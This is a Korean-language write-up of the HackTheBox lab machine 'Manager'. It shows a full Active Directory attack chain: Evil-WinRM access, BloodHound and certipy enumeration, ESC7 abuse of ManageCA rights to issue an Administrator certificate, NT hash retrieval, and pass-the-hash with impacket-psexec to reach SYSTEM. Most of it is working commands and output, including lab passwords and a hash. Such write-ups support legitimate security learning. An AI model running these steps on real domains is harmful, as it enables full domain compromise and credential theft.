└─# evil-winrm -i '10.129.87.70' -u 'Raven' -p 'R4v3nBe5tD3veloP3r!123'
Evil-WinRM shell v3.3
Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine
Data: For more information, check Evil-WinRM Github: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\Raven\Documents> whoami
manager\raven
*Evil-WinRM* PS C:\Users\Raven\Documents> whoami /priv
PRIVILEGES INFORMATION
----------------------
Privilege Name Description State
============================= ============================== =======
SeMachineAccountPrivilege Add workstations to domain Enabled
SeChangeNotifyPrivilege Bypass traverse checking Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Enabled
BloodHound
Raven의 계정의 권한에서 흥미로운 점을 찾을 수 없어 bloodhound
를 통해 AD 분석을 시도한다. 이를 위해 AD 정보를 덤프하는데 bloodhound-python
을 이용한다.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
┌──(root㉿kali)-[~/Desktop/Manager/bloodhound]
└─# bloodhound-python -d 'manager.htb' -u 'Reven' -p 'R4v3nBe5tD3veloP3r!123' -dc 'manager.htb' -c all -ns 10.129.87.70
INFO: Found AD domain: manager.htb
INFO: Getting TGT for user
WARNING: Failed to get Kerberos TGT. Falling back to NTLM authentication. Error: Kerberos SessionError: KRB_AP_ERR_SKEW(Clock skew too great)
INFO: Connecting to LDAP server: manager.htb
INFO: Found 1 domains
INFO: Found 1 domains in the forest
INFO: Found 1 computers
INFO: Connecting to LDAP server: manager.htb
INFO: Found 11 users
INFO: Found 53 groups
INFO: Found 2 gpos
INFO: Found 1 ous
INFO: Found 19 containers
INFO: Found 0 trusts
INFO: Starting computer enumeration with 10 workers
INFO: Querying computer: dc01.manager.htb
INFO: Done in 00M 42S
bloodhound에 로드할 대상 AD의 AD CS(Active Directory Certificate Services)
정보를 덤프하기위해 certipy
를 이용하는데 이때 --old-bloodhound
옵션을 지정하여 bloodhound에 입력할 수 있는 포맷으로 아웃풋을 생성한다.
certipy에서 –old-bloodhound 옵션을 지정해주는 이유와 BloodHound Custom Queries와 관련된 내용을 이전 포스팅인 HTB Escape - Certipy Tips에서 확인할 수 있다.
1
2
┌──(root㉿kali)-[~/Desktop/Manager/bloodhound]
└─# certipy find -u 'Raven@manager.htb' -p 'R4v3nBe5tD3veloP3r!123' -dc-ip '10.129.125.51' -old-bloodhound
위에서 덤프한 AD 정보를 로드하여 가장먼저 Raven 계정의 Outbound Object Control
을 확인하니 아래와 같이 MANAGER-DC01-CA
인증서에 대한 ManageCA
권한이 존재했다.
operator 계정에는 특이한 권한이나 설정은 발견되지 않았다.
또 커스텀 쿼리인 Domain Escalation - ESC7
을 통해 분석된 내용에서도 아래와 같이 Raven으로 ESC7 공격에 대한 가능성을 확인할 수 있다.
Privilege Escalation
Shortest Paths to Vulnerable Certificate Authority Access Control (ESC7)
확인된 Raven 계정의 인증서에대한 ManageCA
에 대해 활용 방법을 Hacktricks - AD CS Domain Escalation (ESC7)와 Certipy 2.0: BloodHound, New Escalations, Shadow Credentials, Golden Certificates, and more!에서 확인할 수 있었고, 이에 대한 공격을 진행한다.
ManageCA 권한을 악용하는 ESC6 공격의 경우 EDITF_ATTRIBUTESUBJECTALTNAME2 플래그를 활성화하는 방식으로 공격이 진행되는데, 이는 CA Service가 재시작되지 않으면 아무런 효과를 기대할 수 없다. 그렇기에 ManageCA 권한을 악용하는 또다른 공격인 ESC7을 진행한다.
ESC7 케이스는 사용자가 CA에 대한 ManageCA
권한 또는 접근 권한이 존재하는 경우 가능하다. 접근 권한만 존재할 경우 이를 악용하는 기술은 공개된 케이스가 없지만, 보류중인 인증서 요청을 통해 발급하거나 거부할 수 있다고한다.
ESC7 공격에 대한 요구사항으로는 기본 인증서 템플릿인 SubCA
가 활성화되어있어야한다.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
┌──(root㉿kali)-[~/Desktop/Manager]
└─# certipy ca -ca 'manager-DC01-CA' -u 'Raven@manager.htb' -p 'R4v3nBe5tD3veloP3r!123' -dc-ip '10.129.125.51' -list-templates
Certipy v4.8.2 - by Oliver Lyak (ly4k)
[*] Enabled certificate templates on 'manager-DC01-CA':
SubCA
DirectoryEmailReplication
DomainControllerAuthentication
KerberosAuthentication
EFSRecovery
EFS
DomainController
WebServer
Machine
User
Administrator
만약 위와 같이 SubCA 템플릿이 활성화되어있지 않을 경우 접근 권한이 존재할 경우 아래와 같은 명령을 통해 템플릿을 활성화 시킬 수 있는 방법도 존재한다.
1
2
3
4
5
┌──(root㉿kali)-[~/Desktop/Manager]
└─# certipy ca -ca 'manager-DC01-CA' -u 'Raven@manager.htb' -p 'R4v3nBe5tD3veloP3r!123' -dc-ip '10.129.125.51' -enable-template 'SubCA'
Certipy v4.8.2 - by Oliver Lyak (ly4k)
[*] Successfully enabled 'SubCA' on 'manager-DC01-CA'
SubCA템플릿의 경우 기본적으로 활성화되어있어 ESC1(Enrollee Supplies Subject and Client Authentication)에 취약하다. 하지만 아래와 같이 Domain Admin , Enterprise Admins 그룹에만 권한이 부여되어있어 현재 케이스에서는 ESC1 공격이 불가능하다.
ESC1에 대한 공격은 이전 포스팅인 HTB Escape - AD CS - ESC1에서 확인할 수 있다.
ESC7 공격은 Manage CA
권한이 존재할 경우 실패한 인증서 요청에 대한 발급을 통해 악용이 가능하다.
이제 certipy를 통해 SubCA 인증서 템플릿을 기반으로 인증서를 요청하는데, Subject Alternative Name(SAN)을 Administrator
로 지정하여 요청을 전송한다.
그전에 Manage CA
권한을 사용하려면 Certificate Manager
에 Raven 계정을 추가한다.
1
2
3
4
5
┌──(root㉿kali)-[~/Desktop/Manager]
└─# certipy ca -ca 'manager-DC01-CA' -u 'Raven@manager.htb' -p 'R4v3nBe5tD3veloP3r!123' -dc-ip '10.129.125.51' -add-officer 'Raven'
Certipy v4.8.2 - by Oliver Lyak (ly4k)
[*] Successfully added officer 'Raven' on 'manager-DC01-CA'
이후 아래와 같이 인증서 요청 과정에서 에러가 발생하는데 개인 키를 저장할 것인지 묻는 메세지에 y
로 응답할 경우 인증서 발급에 사용할 요청 ID를 저장한다.
1
2
3
4
5
6
7
8
9
10
┌──(root㉿kali)-[~/Desktop/Manager]
└─# certipy req -ca 'manager-DC01-CA' -u 'Raven@manager.htb' -p 'R4v3nBe5tD3veloP3r!123' -dc-ip '10.129.125.51' -template 'SubCA' -upn 'Administrator@manager.htb'
Certipy v4.8.2 - by Oliver Lyak (ly4k)
[*] Requesting certificate via RPC
[-] Got error while trying to request certificate: code: 0x80094012 - CERTSRV_E_TEMPLATE_DENIED - The permissions on the certificate template do not allow the current user to enroll for this type of certificate.
[*] Request ID is 14
Would you like to save the private key? (y/N) y
[*] Saved private key to 14.key
[-] Failed to request certificate
Manage CA
권한이 존재할 경우 -issue-request옵션을 통해 실패한 인증서 요청을 발행할 수 있다.
1
2
3
4
5
┌──(root㉿kali)-[~/Desktop/Manager]
└─# certipy ca -ca 'manager-DC01-CA' -u 'Raven@manager.htb' -p 'R4v3nBe5tD3veloP3r!123' -dc-ip '10.129.125.51' -target '10.129.125.51' -issue-request 14
Certipy v4.8.2 - by Oliver Lyak (ly4k)
[*] Successfully issued certificate
이후 위에서 생성한 인증서를 통해 관리자 계정의 패스워드 해시를 얻을 수 있다. 하지만 DC와 시간 동기화 에러(KRB_AP_ERR_SKEW)로 인해 실패했다😨
1
2
3
4
5
6
7
┌──(root㉿kali)-[~/Desktop/Manager]
└─# certipy auth -pfx 'administrator.pfx'
Certipy v4.8.2 - by Oliver Lyak (ly4k)
[*] Using principal: administrator@manager.htb
[*] Trying to get TGT...
[-] Got error while trying to request TGT: Kerberos SessionError: KRB_AP_ERR_SKEW(Clock skew too great)
위 에러를 해결하기 위해 공격자 서버의 시간을 DC와 동기화하기위해 아래와 같은 명령으로 해결을 유도한다.
1
2
3
4
5
6
7
8
# 동작중인 Kali가 VirtualBox VM으로인해 진행
┌──(root㉿kali)-[~]
└─# service virtualbox-guest-utils stop
┌──(root㉿kali)-[~]
└─# rdate -n 10.129.74.255
Tue Oct 24 19:43:21 EDT 2023
다시한번 생성한 인증서를 통해 관리자 계정의 패스워드 해시를 요청한다.
1
2
3
4
5
6
7
8
9
10
┌──(root㉿kali)-[~/Desktop/Manager]
└─# certipy auth -pfx 'administrator.pfx' -username 'Administrator' -domain 'manager.htb' -dc-ip '10.129.74.255' -ns '10.129.74.255'
Certipy v4.8.2 - by Oliver Lyak (ly4k)
[*] Using principal: administrator@manager.htb
[*] Trying to get TGT...
[*] Got TGT
[*] Saved credential cache to 'administrator.ccache'
[*] Trying to retrieve NT hash for 'administrator'
[*] Got hash for 'administrator@manager.htb': aad3b435b51404eeaad3b435b51404ee:ae5064c2f62317332c88629e025924ef
발급받은 해시를 통해 impacket-psexec
를 이용하여 시스템 권한으로 권한 상승을 성공할 수 있었다.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
┌──(root㉿kali)-[~/Desktop/Manager]
└─# impacket-psexec manager.htb/Administrator@10.129.74.255 -hashes 'aad3b435b51404eeaad3b435b51404ee:ae5064c2f62317332c88629e025924ef'
Impacket v0.10.0 - Copyright 2022 SecureAuth Corporation
[*] Requesting shares on 10.129.74.255.....
[*] Found writable share ADMIN$
[*] Uploading file AYaZOhoU.exe
[*] Opening SVCManager on 10.129.74.255.....
[*] Creating service OOZt on 10.129.74.255.....
[*] Starting service OOZt.....
[!] Press help for extra shell commands
Microsoft Windows [Version 10.0.17763.4974]
(c) 2018 Microsoft Corporation. All rights reserved.
C:\Windows\system32> whoami
nt authority\system